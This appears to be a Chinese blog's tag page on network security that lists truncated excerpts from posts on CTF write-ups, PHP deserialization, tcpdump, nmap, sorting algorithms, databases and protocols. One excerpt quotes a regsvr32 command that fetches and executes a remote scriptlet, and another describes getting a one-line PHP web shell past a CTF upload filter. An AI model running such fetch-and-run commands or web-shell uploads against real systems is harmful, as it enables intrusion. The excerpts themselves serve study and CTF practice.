标签:网络安全
网上找激活码很麻烦,激活工具又不敢用,索性自己建一个 kms 服务器了。。 vlmcsd 是与 Microsoft 兼容的 KMS 服务器,是 KMS 服务器的一个开源实现,接下来就用 docker 来搭建一个。 安装 Docker 使用 docker 比较方便,即便以后换了系统也无所谓
TCPDump 可以将网络中传送的数据包完全截获下来提供分析,支持针对网络层、协议、主机、网络或端口的过滤。 -a 尝试将网络和广播地址转换成名称。 -c<数据包数目> tcpdump将在接受到count个数据包后退出。 tcpdump: verbose output su
查壳无壳,使用IDA(32)打开后,f5反编译主函数后,发现一连串的函数      运行该文件,发现会卡住,进入sub_401000函数中查看,发现是个循环,而且乍一看还是个死循环!结合题目的名字,猜测需要简化每个函数的功能,加快运算,函数如下: 1 // sub_401000(&a
前言 本文总结php的反序列化,有php反序列字符串逃逸,php反序列化pop链构造,php反序列化原生类的利用,phar反序列化,session反序列化,反序列化小技巧,并附带ctf小题来说明,还有php反序列化的预防方法(个人想法),建议按需查看,如有错误还望斧正。 如非特别说明运行环
前几天一直在背资料,背的很烦,找个靶机来玩玩. 第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点 sudo nmap -sS 192.
什么是事务? 事务就是满足 ACID 特性的一组操作,可以用 commit 提交一个事务,也可以用 rollback 回滚事务。 AUTOCOMMIT MySQL 默认 自动提交模式。也就是说,如果不显式使用 START TRANSACTION 语句来开始一个事务,那么每个查询都会被当做
下载附件后,得到两个文件,一个key文件,一个streamgame1.py文件 key文件如下:(十六进制形式) 55 38 F7 42 C1 0D B2 C7 ED E0 24 3A streamgame1.py如下: 1 from flag import flag 2 ass
1. 题目信息 附件给出实现流加密的Python脚本与一段输出的密钥流。 2. 分析 通过对加密脚本的理解,可得本题的LFSR模型: 其中 (a_{n-1},a_{n-2},cdots,a_0) 为程序中 mask 的二进制位,当 (a_i=1) 时,将 (b_i) 输入异或运算,否则 (
快速排序 在解释之前,先上一张快排的图,我发现直接看图理解算法更简单 首先需要了解的是,快速排序的过程是递归调用的。 步骤: 先选出一个参考值,用来进行比较。这个参考值可以从待排序的数组里任选一个,一般选择第一个或者最后一个。 在选出一个参考值之后,开始遍历数组,把比参考值小的放到它的左
以前在数据结构的书上学过二叉树的遍历,老师讲了前序、中序、后序遍历三种,但是只是讲了一下概念,在纸上画一下遍历的过程,并没有讲代码的实现。 算法思想 先序遍历 前序遍历的顺序是 根节点-左子树-右子树 。意思是从根节点开始,要一直访问左子树,直到没有左孩子,然后访问右子树。 (图片来自
  因为国庆放假和最近一直在换系统的缘故有一段时间没有更新。这是我在ubuntu上写的第一篇文章;   打开题目得到如下源码: 1 <?php 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 4 $_SERVE
TCP TCP,Transmission Control Protocol 传输控制协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议。通俗来讲,TCP就是双方通信的一个规范标准,负责对数据的传输进行一定的控制。TCP 报文格式如下: 现对其中的结构做个简单介绍 源端口号就是指
三个时间复杂度为 O(n^2)的排序算法 排序有很多种,有些算法连名字都没听过,经过这段时间的刷题,我在这里总结一下几个常见的排序。我们都知道,算法是要考虑时间复杂度和空间复杂度的,所以我把算法分了三类,分别是时间复杂度是 O(n^2)、O(nlogn)、O(n)。注意这里的时间复杂度
在 leetcode 上做到了一道题,让返回一个链表的深拷贝,感觉很有意思,记录一下。 深拷贝和浅拷贝 什么是浅拷贝?当你在拷贝一种数据结构的时候(结构体、类、map...),如果拷贝的只是这个数据结构的引用,那么这就是浅拷贝 举个例子(浅拷贝) 此时有一个 map,暂且命名为 "s",存
原文链接:blog 在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。 命令语法如下: regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll 原理则是利用com组件的s
一、DNS层次结构 二、DNS工作交互、DNS缓存 详细流程(来自keycnd.com): 三、DNS传输层协议 DNS使用的传输层协议是UDP,UDP没有握手的过程,也没有流量控制和拥塞控制来限制速度。整个传输效率比TCP要高,满足DNS的核心需求。
0x01  题目 0x02  解题过程 尝试把一句话木马原封不动上传,提示需要image。    那行,咱继续尝试各种文件上传姿势。首先改Content-Type为image/jpeg。        看来后缀名不能为php,那么再改各种后缀名试试,例如,php3,php4,ph
数据库的事务对数据并行访问的时候,有可能会出现一些问题,因此数据库设置了四个不同的隔离级别来解决问题。 在 MySQL 数据库的隔离级别可以分为四层,分别是读未提交、读提交、可重复读和串行化。与之对应出现的问题有脏读、幻读、不可重复读。 隔离级别 读未提交(read uncommited